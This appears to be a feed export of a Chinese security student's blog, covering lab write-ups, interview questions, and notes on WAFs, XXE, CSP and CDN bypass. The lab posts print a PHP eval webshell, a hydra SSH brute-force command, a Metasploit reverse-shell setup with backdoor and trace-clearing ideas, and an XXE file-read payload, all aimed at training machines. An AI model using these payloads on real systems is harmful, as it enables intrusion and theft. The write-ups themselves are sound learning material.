    5.1在CentOS7的终端修改ossec.conf文件,向该文件中添加如下内容,实现监控Web服务器的访问日志的功能。编辑完后按esc键退出文件编辑状态,并输入:wq命令保存文件。

    img

    5.2在终端输入命令“/var/ossec/bin/ossec-control restart”,重新启动OSSEC服务。

    img

    5.3在windows2012上访问被禁止访问的目录。在windows2012(IP为192.168.1.5)的火狐浏览器上新打开一个页面,访问http://192.168.1.6/dvwa/config,提示信息为Not Found。

    img

    5.4回到OSSIM Web页面上,进行OSSEC警报数据的过滤,可以看到访问禁止目录时的报警信息。

    实验感想

    通过此次实验:

    1.掌握在不同的操作系统环境下安装和配置OSSEC代理。
    2.了解工具PuTTY的基本功能,掌握使用该工具远程连接机器的方法。
    3.通过安装OSSEC代理,掌握PuTTY工具的实验,掌握配置OSSEC代理的方法,了解OSSEC入侵检测系统的架构、功能以及实现方式,具备构建入侵检测环境的能力。
    4.掌握OSSIM系统的入侵检测规则设置方法,并能够根据报警信息做入侵行为分析,具备信息系统入侵检测和防范、维护系统安全的职业能力。

    ]]>
    + + + + + 安全 + + + + + + + 安全 + + + +
    + + + + + 绿盟安服面试(实习) + + /2021/04/04/%E7%BB%BF%E7%9B%9F/ + + 时间:2021-4-5

    时长:25min

    面试过程

    1.自我介绍

    2.SQL注入经常使用什么函数

    3.渗透测试的流程

    4.关于云安全

    5.关于ISO 27001 风险评估

    6.讲一下SSRF

    7.还了解什么漏洞

    8.同源策略

    9.Linux相关

    • 怎么查看进程PID
    • 密码存放在哪里
    • passwd和shadow有什么联系

    10.机器学习相关

    因为简历上有写NLP自然语言处理。

    绿盟的面试体验很好,问的也都是基础的,和简历相关的。

    ]]>
    + + + + + 面试 + + + + + + + 面试 + + + +
    + + + + + 360安全工程师面试(实习) + + /2021/03/29/360/ + + 时间:2021-3-30

    时长:45min

    面试类型:电话面试

    目前为止遇到的最专业最耐心的面试官。 (也是最难的一次面试)

    我是点进22届暑期实习投的,却发现投的是正式职位。。。啊,这。

    面试内容如下:

    1.自我介绍

    2.WAF及其绕过方式

    3.IPS/IDS/HIDS

    4.云安全

    5.怎么绕过安骑士/安全狗等

    6.Gopher扩展攻击面

    7.Struct2漏洞

    8.UDF提权

    9.DOM XSS

    10.数据库提权

    11.怎么打Redis

    12.内网渗透

    13.容器安全

    14.k8s docker逃逸

    15.linux、windows命令:过滤文件、查看进程环境变量

    16.站库分离怎么拿webshell

    总之,面试官很专业,循循善诱,可惜自己实战经验太少,很多问题答不上。

    继续努力。加油少年!

    ]]>
    + + + + + 面试 + + + + + + + 面试 + + + +
    + + + + + 渗透测试初学者笔记 + + /2021/03/26/%E5%88%9D%E5%AD%A6%E8%80%85/ + +

    学校图书馆借了一本书《渗透测试完全初学者指南》,讲的很基础,对初学者很友好,略作笔记。

    第五章-信息收集

    开源情报

    • Netcraft
    • whois
    • DNS侦察
      • nslookup
      • host
      • 区域传输
    • 邮件地址
    • Maltego

    端口扫描

    • 手动
    • nmap

    第六章-漏洞检测

    • Nmap
    • Nessus
      • 扫描策略
      • 进行扫描
      • 漏洞评级
      • 扫描器的必要性
      • 导出结果
    • Nmap脚本引擎(NSE)(/usr/share/nmap/scripts)
    • metasploit
    • nikto
    • 人工分析

    第七章-流量捕获

    • Wireshark
    • ARP缓存攻击
    • DNS缓存攻击
    • SSL攻击
    • SSL Stripping

    第八章-漏洞利用

    • MS-08-067
    • WebDAV
    • phpMyAdmin
    • 下载敏感文件
    • 第三方软件漏洞
    • 攻击第三方Web应用
    • 攻击系统服务缺陷
    • 攻击开源NFS漏洞

    第九章-密码攻击

    • 密码管理
    • 在线密码攻击
      • 字典
      • Hydra
    • 离线密码攻击
      • 还原Windows SAM哈希值
      • 提取哈希
      • LM\NTLM算法
      • 破解 linux密码
      • 破解配置文件密码
      • 彩虹表
      • 在线密码破解
      • Windows Credential Editor提取内存中的密码明文

    第十章-客户端攻击

    • metasploit
    • 浏览器漏洞
    • PDF漏洞
    • Java漏洞
    • Brower_autopwn
    • Winamp

    第十一章-社会工程学

    • SET
    • 鱼叉式钓鱼攻击
    • web攻击
    • 群发邮件攻击
    • 组合攻击

    第十二章-免杀

    • 杀毒软件原理
    • 规避杀毒软件

    第十三章-深度渗透

    • Meterpreter
    • 本地权限提升
    • 本地信息收集
    • 横向移动
    • 跳板
    • 持久化

    第十四章-Web应用测试

    • Burp
    • SQL注入
    • Xpath注入
    • 本地文件包含
    • 远程文件包含
    • 命令执行
    • 跨站脚本
    • 跨站请求伪造

    第十五章-攻击无线网络

    第十六章-缓冲区溢出

    第十八章-SEH覆盖

    第十九章-其他

    • 模糊测试
    • 移植代码
    • MSF模块编写
    • 攻击缓解

    第十九章-智能收集渗透

    • 移动设备攻击向量
    • 智能手机渗透框架
    • 远程攻击
    • 客户端攻击
    • 恶意应用程序
    • 移动平台渗透
    ]]>
    + + + + + 渗透 + + + + + + + 渗透 + + + +
    + + + + + 美团安全工程师面试(实习) + + /2021/03/25/meituan/ + + 2021-3-26

    面试官是一位会弹吉他的安全工程师,比较和蔼,没有问刁钻的问题。

    面试时间总共15分钟,我也不知道为啥这么短,可能那边有业务要做吧。

    问题如下:

    1.自我介绍

    2.平时怎么学安全的

    3.每天有多长时间学安全

    4.SQL注入有哪些

    5.给你一个URL,怎么判断注入

    6.SQL注入防范

    7.平时有看安全方面的文章吗,讲一篇

    讲了一下昨晚看的DNSlog注入

    8.讲一下CTF

    9.讲一下你做过的渗透

    最后 你有什么要问的吗?

    1.怎么学习安全

    2.甲方和乙方的安全有什么不同

    面试建议

    其实提前看了几篇美团技术部的文章和面试官写的web蜜罐,但我没讲。

    可以提前查一下面试官的研究方向,如果正好是你擅长的,那就好了。如果是你不擅长的,就尽量把话题引导其他方向,让面试官跟着你的项目走。

    ]]>
    + + + + + 面试 + + + + + + + 面试 + + + +
    + + + + + 网络侦察实验 + + /2021/03/24/%E4%BE%A6%E5%AF%9F/ + + 网络侦察实验

    实验背景

    随着时代的发展和网络的普及,在世界各国、各层次的计算机网络中,储存着大量公开资料和机密资料,由于网络漏洞的存在,为“黑客”入侵计算机网络系统获取机密资料提供了很多便利,这些资料引起了各国军事情报部门的重视,都大力开展利用计算机网络系统来获取情报资料的研究和尝试,这便是网络侦察。

    网络侦查是指黑客为了更加有效地实施攻击而在攻击前或攻击过程中对目标主机的所有探测活动。网络侦查有时也被称为“踩点”。通常“踩点”包括以下内容:目标主机的域名、IP地址、操作系统类型、开放了哪些端口,以及这些端口后面运行着什么样的应用程序,这些应用程序有没有漏洞等。那么如何收集信息呢?可以利用与技术无关的“社会工程学”、搜索引擎以及扫描工具。

    本实验旨在通过在企业复杂网络场景下的网络侦查应用实战,让学生深刻理解网络侦查的概念、特性和原理,掌握网络侦查相关技术,具备对网络进行侦查、渗透、敏感信息获取以及防网络侦查的技术能力,这对于学生的信息安全技术能力提升、国家网络空间安全战略实施,都有非常重要的意义。

    实验任务

    任务一 使用nmap、ettercap进行网络侦查和密码嗅探;
    任务二 使用crunch、hydra暴力破解ssh服务登陆密码;
    任务三 使用ssh登录目标机,获得敏感信息;
    任务四 获取目标网站的webshell权限,控制目标机,获得敏感信息。

    实验目的

    • 了解网络侦查、信息收集、漏洞挖掘和利用的基本概念以及常用的信息收集和安全漏洞扫描工具,认知常见的网络侦查手段和企业网络安全漏洞。
    • 掌握nmap工具的功能和操作方法,并能够分析检侧结果,能够运用这些工具解决目标网络信息探测、漏洞挖掘等常见的安全问题。
    • 了解ettercap嗅探工具的基本功能,掌握常见的嗅探相关服务和应用的用户名和密码的方法。
    • 了解crunch的基本功能,掌握利用crunch生成密码字典文件的方法。
    • 了解hydra密码爆破工具的基本功能和使用方法,掌握常见的爆破服务和应用的用户名和密码的方法。
    • 熟悉网站wenshell的概念,理解上传webshell、获取webshell权限的意义和方法,掌握获取webshell权限基础上控制目标机的方法。
    • 通过nmap、ettercap、crunch和hydra等工具的学习和使用,能够融会贯通,掌握相关服务如ftp、web等漏洞挖掘、渗透、攻击和利用的原理和方法,掌握自主学习和实践主流企业网络扫描工具的功能、操作技巧、检测结果分析、网络侦查、漏洞挖掘的常用方法,具备企业复杂网络信息安全管理的职业能力和终身学习能力。

    实验工具

    • Nmap(集成于kali linux)
    • ettercap(集成于kali linux)
    • crunch(集成于kali linux)
    • hydra(集成于kali linux)
    • Firefox(54.2.0)
    • Rdesktop

    实验环境

    操作系统IP地址服务器角色登录账户密码
    kali Linux192.168.1.2操作机用户名:root;密码:Simplexue123
    CentOS7192.168.1.3目标机用户名:root;密码:Simplexue123
    Windows2012192.168.1.4目标机用户名:administrator;密码:Simplexue123

    实验步骤

    任务一

    1.扫描存活的主机

    image-20210325150711857

    2.使用嗅探工具对目标机的vsftpd服务进行嗅探。

    通过设置监听网卡、主机、开启arp欺骗、启动嗅探等步骤来嗅探网络内的数据包,获取ftp用户名和密码。

    image-20210325152226044

    image-20210325153309224

    任务二

    利用kali集成的crunch工具,生成密码字典文件。
    使用hydra工具暴力破解ssh服务的登陆密码,以便完全控制目标主机系统。

    使用命令crunch 9 9 password.txt -p hacker+123456生成密码

    生成9位的数字字母组合,输出到password.txt文件

    image-20210325154745860

    使用生成的密码字典进行爆破

    1
    hydra -L hacker.txt -P password.txt -t 1 -vV -e ns 192.168.1.3 ssh

    破解得到密码:hacker123

    任务三

    使用ssh登录目标机并获取key值,获得敏感信息

    直接利用 爆破得到的密码进行登陆

    ssh hacker@192.168.1.3

    image-20210325155633360

    image-20210325155802866

    ls -a命令列出文件:1.key

    cat 1.key

    ettercap

    任务四

    获取目标网站的webshell权限,控制目标机,获得敏感信息

    制作一句话木马和上传表单

    1
    <?php @eval($_POST['attack']) ?>

    在浏览器另外一个页面快速打开http://192.168.1.4/index.php?module=eventregistration&action=eventsCalendar,获得时间戳,分析可知上传的文件名以时间戳+下划线+原文件名称来命名。

    编写脚本并运行,获得上传的文件的URL路径。

    image-20210325183510613

    写入命令

    http://192.168.1.4/ tmp/1516041535_exp.php?cmd=system('' )

    添加新用户net user hacker Beijing123 /add

    把hacker用户添加到管理员组,并远程连接目标机,远程连接的时候注意远程连接的端口。

    以hacker用户(用户名:hacker、密码:Beijing123)身份登录目标机系统。

    设置目标机C:\2.key文件的可读权限,并查看该文件的具体内容。

    ]]>
    + + + + + 渗透 + + + + + + + 渗透 + + + +
    + + + + + 阿里安全工程师面试(实习) + + /2021/03/19/alibaba/ + + 3.10

    时常:30min

    1.自我介绍

    2.常用的密码算法,用法是什么

    3.SSL协议

    4.你是怎么学习安全知识的

    5.讲一下你对未来的规划

    6.企业常用的安全防御技术有哪些

    7.项目上的问题,你做了什么贡献。问细节

    面试官应该很年轻,跟我讲了一些他的经历,没有问刁钻的问题,很友好。

    3.16 收到感谢信

    深知自己不足,道路漫长,继续加油!

    ]]>
    + + + + + 面试 + + + + + + + 面试 + + + +
    + + + + + TCP/IP协议脆弱性分析 + + /2021/03/18/TCPIP/ + + TCP/IP协议簇

    TCP/IP提供了点对点链接的机制,将资料应该如何封装、寻址、传输、路由以及在目的地如何接收,都加以标准化。它将软件通信过程抽象化为四个抽象层,采取协议堆栈的方式,分别实现出不同通信协议。协议族下的各种协议,依其功能不同,分别归属到这四个层次结构之中,常视为是简化的七层OSI模型。

    TCP(传输控制协议)和IP(网际协议)

    TCP/IP 意味着 TCP 和 IP 在一起协同工作。

    TCP 负责应用软件(比如您的浏览器)和网络软件之间的通信。

    IP 负责计算机之间的通信。

    TCP 负责将数据分割并装入 IP 包,然后在它们到达的时候重新组合它们。

    IP 负责将包发送至接受者。

    安全隐患

    1.链路层攻击

    在TCP/IP网络中,链路层这一层次的复杂程度是最高的。其中最常见的攻击方式通常是网络嗅探组成的TCP/IP协议的以太网。当前,我国应用较为广泛的局域网是以太网,且其共享信道利用率非常高。以太网卡有两种主要的工作方式,一种是一般工作方式,另一种是较特殊的混杂方式。这一情况下,很可能由于被攻击的原因而造成信息丢失情况,且攻击者可以通过数据分析来获取账户、密码等多方面的关键数据信息。

    2.ARP欺骗

    ARP(地址解析协议)是根据IP地址获取物理地址的一个TCP/IP协议。通常情况下,在IP数据包发送过程中会存在一个子网或者多个子网主机利用网络级别第一层,而ARP则充当源主机第一个查询工具,在未找到IP地址相对应的物理地址时,将主机和IP地址相关的物理地址信息发送给主机。与此同时,源主机将包括自身IP地址和ARP检测的应答发送给目的主机。如果ARP识别链接错误,这样的话ARP直接应用可疑信息,那么可疑信息就会很容易进入目标主机当中。ARP协议没有状态,不管有没有收到请求,主机会将任何受到的ARP相应自动缓存。如果信息中带有病毒,采用ARP欺骗就会导致网络信息安全泄露。因此,在ARP识别环节,应加大保护,建立更多的识别关卡,不能只简单通过IP名进行识别,还需充分参考IP相关性质等。

    3.ICMP欺骗

    ICMP协议也是因特网控制报文协议,主要用在主机与路由器之间进行控制信息传递。通过这一协议可对网络是否通畅、主机是否可达、路由是否可用等信息进行控制。一旦出现差错,数据包会利用主机进行即时发送,并自动反回描述错误的信息。该协议在网络安全当中是十分重要的协议。但由于自身特点的原因,其极易受到入侵,通常而言,目标主机在长期发送大量ICMP数据包的情况下,会造成目标主机占用大量CPU资源,最终造成系统瘫痪。

    4.IP欺骗

    在传输层还存在网络安全问题。如在网络安全领域中,IP欺骗就是隐藏自己的有效手段,主要是通过将自身IP地址进行伪造,并向目标主机发送恶意的请求,攻击主机,而主机却因为IP地址被隐藏而无法准确确认攻击源。或者通过获取目标主机信任而趁机窃取相关的机密信息。在DOS攻击中往往会使用IP欺骗,这是因为数据包地址来源较广泛,无法进行有效过滤,从而使IP基本防御的有效性大幅度下降。此外,在ICMP传输通道,由于ICMP是IP层的组成部分之一,在IP软件中任何端口向ICMP发送一个PING文件,借此用作申请,申请文件传输是否被允许,而ICMP会做出应答,这一命令可检测消息的合法性。所有申请传输的数据基本上传输层都会同意,造成这一情况的原因主要是PING软件编程无法智能识别出恶意信息,一般网络安全防护系统与防火墙会自动默认PING存在,从而忽视其可能带来的安全风险。

    5.DNS欺骗

    对于因特网而言,IP地址与域名均是一一对应的,这两者之间的转换工作,被称为域名解析。而DNS就是域名解析的服务器。DNS欺骗指的是攻击方冒充域名服务器的行为,使用DNS欺骗能将错误DNS信息提供给目标主机。所以说,通过DNS欺骗可误导用户进入非法服务器,让用户相信诈骗IP。另外,PTP网络上接口接受到不属于主机的数据,这也是应用层存在的安全问题,一些木马病毒可趁机入侵,造成数据泄露,从而引发网络安全问题。

    脆弱性分析

    1.不能提供可靠的身份验证

    2.不能有效防止信息泄露

    3.没有提供可靠的信息完整性验证

    4.无法控制资源占有和分配

    攻击方法

    • IP欺骗
    • TCP会话劫持
    • SYN Flooding
    • 死亡之ping
    • RST和FIN攻击

    结语

    真正防御针对网络协议脆弱性的攻击,需要从管理、技术、政策等多方面来配合。希望随着网络安全技术的提高和IPsec的逐步完善,解决现存的协议脆弱性问题。

    参考

    • 百度/维基百科
    • 菜鸟TCP/IP教程
    • 典型的TCP/IP协议脆弱性及常见攻击方法分析(空军工程大学学报)
    ]]>
    + + + + + blog + + + + + + + 安全 + + + +
    + + + + + leetcode15 - 3sum + + /2021/03/17/%E7%AE%97%E6%B3%95/ + +

    3sum跟之前的2sum有点像,但难度更大一些

    leetcode.15

    题目描述 :

    1
    2
    3
    Given an array nums of n integers, are there elements a, b, c in nums such that a + b + c = 0? Find all unique triplets in the array which gives the sum of zero.

    Notice that the solution set must not contain duplicate triplets.

    范围0 <= nums.length <= 3000

    方法1:

    枚举所有方法,时间复杂度n^3,会超时

    方法2:

    排序

    哈希法(2等1)

    循环i,j 此时 t=0-nums[i]-nums[j]

    根据哈希,判断t是否在数组中出现过

    注意:需要去重

    方法3:

    排序

    双指针(1等2)

    t=0-nums[i]-nums[j]

    思路:

    固定i指针,j,k分别在两端,交替向中间靠拢(比较t)

    注意:去重

    代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    class Solution:
    def threeSum(self, nums: List[int]) -> List[List[int]]:
    #双指针移动
    #i为定指针
    #j,k为移动指针
    #首先要排序
    nums.sort()
    lens=len(nums)

    res=[]
    for i in range(lens):

    #要求j,k位置的和
    #对第一个位置要特殊判断
    if i and nums[i]==nums[i-1]:
    continue
    j=i+1
    k=lens-1
    tmp=0-nums[i]
    while(j<k):
    arr=[]
    if nums[j]+nums[k]>tmp:
    k=k-1
    elif nums[j]+nums[k]<tmp:
    j=j+1
    else:
    #添加数组元素的另一种方法:
    #res.append([nums[i],nums[L],nums[R]])
    arr.append(nums[i])
    arr.append(nums[j])
    arr.append(nums[k])

    res.append(arr)
    #此处直接去重
    while((j<k) and nums[j]==nums[j+1]):
    j=j+1
    while((j<k) and nums[k]==nums[k-1]):
    k=k-1
    k=k-1
    j=j+1
    return res

    小结

    此题题目简单,但是需要考虑的东西也比较细.

    • 去重
    • hash及set的使用
    • 双指针
    • 剪枝
    • 对首位的特殊判断
    ]]>
    + + + + + 算法 + + + + + + + 算法 + + leetcode + + + +
    + + + + + 渗透Metasploitable2 + + /2021/03/16/kali/ + +

    Metasploitable2是一款很好的渗透测试靶机

    实验环境

    攻击机:kali IP:192.168.211.140

    目标主机:Metasploitable2 IP:192.168.211.132

    信息收集

    1.使用命令msfconsole进入msf控制台

    image-20210317192744736

    2.使用Nmap扫描,查看目标系统开放端口和服务.

    image-20210317193125963

    3.根据扫描结果选择合适的exploit和payload

    此次使用Samba3.0存在的漏洞进行攻击

    **提示:**在rank栏选择great/excellent的模块,会有很好效果,成功率更高.

    image-20210317193350796

    4.使用攻击模块

    选择exploit/multi/samba/usermap_script

    提示:使用info+模块 查看说明

    image-20210317194342573

    show payloads,查看可用攻击载荷.

    5.设置攻击载荷

    set PAYLOAD cmd/unix/reverse

    设置目标机IP及端口

    设置攻击机IP

    注意:此处的端口号是漏洞服务对应的端口号,在Nmap那一步可以看到.

    show options可以查看payload的配置,Required为不可缺参数

    image-20210317195047700

    6.使用expolit命令进行攻击

    image-20210317195453218

    已成功获取目标主机shell !

    可以使用命令 uname -a 进行验证.

    后续

    • 进一步获取目标系统信息
    • 关闭目标系统杀毒软件
    • 利用已攻陷的主机做为跳板/肉鸡
    • 后渗透(权限提升、横向提权、纵向提权)
    • 留下后门
    • 痕迹清除
    ]]>
    + + + + + 渗透 + + + + + + + 漏洞 + + 渗透 + + + +
    + + + + + 舆情分析-人物画像 + + /2021/03/15/NLP/ + +

    最近在做舆情分析的课题,稍微记录一下.

    所需技术

    • 爬虫
    • 话题分析
    • 人物画像
    • 命名实体识别
    • 意见抽取
    • 情感分类
    • 文本分类

    任务

    课题:境外涉华人物画像

    • 数量:不少于100

    • 国家/地区:美日澳印、欧洲、东南亚、俄罗斯、港台

    • 领域:智库、军情、政治、法律、高科技(人工智能、芯片、通信、电子、材料、太空、航天等)、演艺、人文、知名大学毕业生

    • 实时跟踪社交媒体动态(Twitter、Facebook、Line、Linkedin)

    • 社交情况及社交指数

    • 人格分析:大五人格

    • 涉华言论(文本、音视频)、热点话题及其情感极性

    • 对华好感指数

    预期成果

    实时跟踪twitter, facebook等社交媒体动态,生成境外涉华人物画像。人物涉及多个国家地区,并分析相应人物的社交指数,大五人格,以及对华好感指数等,并对其涉华言论的情感极性进行深入分析。

    通过可视化,建立图形化界面等技术,从公共社交媒体上利用爬虫爬取公开的涉华人物的相关信息动态,完成预期的目标任务,做成一个能够从公开媒体上爬取并分析信息情报的平台雏形,具有相当的实用价值。

    初步模型

    未命名文件

    实现过程

    数据爬取及处理

    社交指数分析

    image-20210318100300846

    image-20210318100319880

    涉华言论情感分析

    人格分析

    大五人格

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    开放性(openness)
    具有想象、审美、情感丰富、求异、创造、智能等特质。
    责任心(conscientiousness):
    显示胜任、公正、条理、尽职、成就、自律、谨慎、克制等特点。
    外倾性(extraversion):
    表现出热情、社交、果断、活跃、冒险、乐观等特质。
    宜人性(agreeableness):
    具有信任、利他、直率、依从、谦虚、移情等特质。
    神经质性(neuroticism):
    难以平衡焦虑、敌对、压抑、自我意识、冲动、脆弱等情绪的特质,即不具有保持情绪稳定的能力。

    对华好感指数

    在不同领域探索对华好感指数

    image-20210318100623093

    热点话题抽取

    image-20210318100532182

    PS:此项目小组合作完成 , 源代码暂不公开

    ]]>
    + + + + + blog + + + + +
    + + + + + V&N-CTF + + /2021/03/13/VN/ + + web游戏题

    提示:通关就有flag

    尝试修改start_level,但是无法直接开始第10关

    尝试修改死亡后reset的next_level,然后去送死,按下Esc,就是第二关。

    却发现boss很难打,于是又修改人物参数:血量、飞镖数量等。

    image-20210314235011044

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    function Reset()
    {
    // load local storage
    playerData = new PlayerData();
    if (localStorage.kbap_coins)
    playerData.coins = parseInt(localStorage.kbap_coins, 10);
    if (localStorage.kbap_warp)
    warpLevel = parseInt(localStorage.kbap_warp, 10);
    if (localStorage.kbap_bestTime)
    speedRunBestTime = parseInt(localStorage.kbap_bestTime, 10);
    nextLevel = 10;
    }

    image-20210314235140421

    打败BOSS,获得flag。

    这游戏挺好玩!

    ]]>
    + + + + + CTF + + + + +
    + + + + + 云蜜罐 + + /2021/03/12/%E8%9C%9C%E7%BD%90/ + +

    在公众号上看到一篇云蜜罐的文章,记录一下

    参考链接:知道创宇

    优秀蜜罐有哪些

    “云蜜罐”是什么?

    无需软硬件,无需云主机,不需占用任何客户资源,云端实现快捷部署,并在域名接入功能上取得了突破

    与传统蜜罐有何不同

    与传统蜜罐相比,“云蜜罐”除去部署方式上的不同,还有一大优势在于云端部署不需占用任何客户端资源,不会对现有的业务造成任何影响。同时,云端“一键部署”快捷安全,尤其适用于网站防御方面。在即将到来的网络攻防实战演练中,防守方一旦发现预先进行了网络防护的网站有被攻击迹象,比起被动挨打,还可以选择通过快捷部署“云蜜罐”作为一种紧急应对方式,感知攻击威胁、记录攻击痕迹、争取溯源反制

    用法

    为域名暴破攻击提供“定制陷阱”的服务

    “云蜜罐”智能子域名推荐系统会根据录入的根域名,自动生成高敏感子域名,在攻击者使用子域名暴破攻击的必经之路上设置陷阱,提高攻击捕获可能性,在一定程度上减轻真实资产的流量压力以及防止黑客进一步入侵。

    ]]>
    + + + + + 安全 + + + + +
    + + + + + 关于WAF + + /2021/03/11/WAF/ + + 定义

    Web应用防火墙(Web Applocation Firewall)

    通过一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品

    分类

    • 软件型
    • 硬件型
    • 云WAF(反向代理 ,类似于带防护功能的CDN)
    • 网站系统内置的WAF

    WAF 的判断

    1.sqlmap

    1
    sqlmap.py -u "https://baidu.com --identify-waf --batch"

    2.手工判断

    1
    ?test=1 union select 1,2,3%23

    选取不存在的参数,如果被拦截:

    • 页面无法访问
    • 响应码不同
    • 返回与正常请求网页不同时的结果

    WAF by pass

    参考我的另一篇博客

    WAF by pass 技巧

    另外加几个技巧

    • 多参数请求拆分
    • HTTP参数污染(同一参数出现多次,不同的中间件解析为不同的结果)
    • 使用生僻函数
    ]]>
    + + + + + 安全 + + + + +
    + + + + + XXE漏洞 + + /2021/03/11/XXE/ + + 定义

    外部实体注入(XML External Entity XML)。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

    XXE的利用

    • 读取本地敏感文件
    • 内网主机探测
    • 主机端口探测
    • 盲注
    • 文件上传
    • 钓鱼

    文章参考

    先知社区有一篇关于XXE的文章:

    XXE漏洞及利用

    img
    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
    <updateProfile>
    <firstname>Joe</firstname>
    <lastname>&file;</lastname>
    ...
    </updateProfile>

    防护

    • 禁止引用外部实体
    • 过滤用户提交的XML数据
    ]]>
    + + + + + 漏洞 + + + + +
    + + + + + 字节跳动安全风控训练营总结 + + /2021/03/10/%E5%AD%97%E8%8A%82/ + +

    寒假期间参加了字节安全训练营,算是有很多收获吧。学到了一些安全知识,认识了一些小伙伴,都是名牌大学的本科、硕士生。给人的印象是字节的安全工程师比较务实,很有水平。上一节课比在学校上一学期更有用。更加坚定了我去企业的想法。也感觉学术界的安全研究和企业脱节比较严重,在这个工业界引领发展,反哺学术界的时代,或许在企业能学到更多东西吧。

    先放上证书纪念一下

    image-20210310185934547

    课程内容

    • web安全概述
    • 渗透测试进阶
    • WAF建设
    • 安全系统架构设计

    小组任务

    官方提供一台云主机,以Dockers镜像的方式预置一个Web漏洞靶场。

    • 对靶场进行渗透测试,发现存在的安全问题。
    • 研发/搭建Web应用防火墙(WAF),对已存在的安全问题进行有效防护。
    • 搭建WAF管理后台,实现对WAF规则配置和日志查询。

    WAF研发

    • 解码能力(常用编码、混合编码、多重编码)
    • 字符串匹配(单模式、多模式)
    • 正则表达式引擎(hyperscan)
    • 规则提取和优化(根据漏洞、payload、平衡漏报与误报)
    • 开源规则集(OWASP® ModSecurity Core Rule Set (CRS))
    • 接口频率限制(限频算法、资源限频、用户限制频)
    • 业务基线自学习
    • BOT检测(人机识别、行为检测)

    寻找漏洞

    • 用户登陆接口有SQL注入
    • 本地文件包含(路径爆破)
    • 水平垂直越权(修改cookie中student_id,可以获取其他人信息)
    • 服务端请求伪造(SSRF)(头像链接)
    • 敏感信息泄露(爆破目录,有身份证号)
    • 暴力破解
    • 其他
      • Cookie存活时间太长
      • httpOnly属性没有开启
      • Secure没有开启
      • 不安全的存储方案(md5存密码,容易被破解)
      • HTTP头部属性缺失(CSP)
    ]]>
    + + + + + blog + + + + +
    + + + + + Python命令行解析Argparse + + /2021/03/09/%E5%8F%82%E6%95%B0/ + +
    1
    2
    3
    import argparse
    parser = argparse.ArgumentParser()
    parser.parse_args()

    argparse模块还会自动生成帮助和使用消息,并在用户为程序提供无效参数时发出错误。

    default:没有设置值情况下的默认参数

    required: 表示这个参数是否一定需要设置

    type:参数类型

    默认的参数类型是str类型,如果你的程序需要一个整数或者布尔型参数,你需要设置type=inttype=bool

    choices:参数值只能从几个选项里面选择

    help:指定参数的说明信息

    dest:设置参数在代码中的变量名

    argparse默认的变量名是---后面的字符串,但是你也可以通过dest=xxx来设置参数的变量名,然后在代码中用args.xxx来获取参数的值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    # -*- coding: utf-8 -*-

    import argparse

    parser = argparse.ArgumentParser()

    parser.add_argument("--square", help="display a square of a given number", type=int)
    parser.add_argument("--cubic", help="display a cubic of a given number", type=int)

    args = parser.parse_args()

    if args.square:
    print args.square**2

    if args.cubic:
    print args.cubic**3
    ]]>
    + + + + + blog + + + + +
    + + + + + CDN的绕过 + + /2021/03/08/CDN/ + +

    CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。

    第一步,判断目标网站是否使用CDN服务.

    img

    • 通过ping,查看域名解析情况
    • 全国多地ping服务,对比每个地区的结果是否一致,如果都是一样的,说明不存在CDN.

    第二步,绕过CDN寻找真实IP

    image-20210221100509778

    • 扫描网站测试文件
    • 子域名所在IP段
    • 国外访问
    • 查询域名历史解析记录
    • 不同DNS域名解析(nslookup www.example.com 8.8.8.8)
    • 敏感文件泄露
    • 邮箱反弹IP地址
    • APP抓包

    image-20210309201255404

    ]]>
    + + + + + 渗透 + + + + +
    + + + + + CSP内容安全策略 + + /2021/03/07/CSP/ + + CSP介绍

    内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻击,包括跨站脚本攻击(XSS) 和数据注入等攻击。

    这些攻击可用于实现从数据窃取到网站破坏或作为恶意软件分发版本等用途。内容安全策略在现代浏览器中已经包含,使用的是 W3C CSP 1.0 标准中描述的 Content-Security-Policy 头部和指令。

    CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

    CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

    那么如何应用?

    CSP 可以由两种方式指定:HTTP Header 和 HTML。HTTP 是在 HTTP 由增加 Header 来指定,而 HTML 级别则由 Meta 标签指定。

    CSP 有两类:Content-Security-Policy 和 Content-Security-Policy-Report-Only。(大小写无关)

    1
    2
    3
    HTTP header :
    "Content-Security-Policy:" 策略
    "Content-Security-Policy-Report-Only:" 策略

    HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。

    1
    2
    3
    HTML Meta :
    <meta http-equiv="content-security-policy" content="策略">
    <meta http-equiv="content-security-policy-report-only" content="策略">

    Meta 标签与 HTTP 头只是行式不同而作用是一致的。与 HTTP 头一样,优先采用最先定义的策略。如果 HTTP 头与 Meta 定义同时存在,则优先采用 HTTP 中的定义。

    如果用户浏览器已经为当前文档执行了一个 CSP 的策略,则会跳过 Meta 的定义。如果 META 标签缺少 content 属性也同样会跳过。

    针对开发者草案中特别的提示一点:为了使用策略生效,应该将 Meta 元素头放在开始位置,以防止提高人为的 CSP 策略注入。

    ]]>
    + + + + + 安全 + + + + +
    + + + + + 端口服务总结 + + /2021/03/06/%E7%AB%AF%E5%8F%A3/ + +

    总结一下常见服务器端口服务

    详细列表:
    维基百科TCP/UDP端口列表

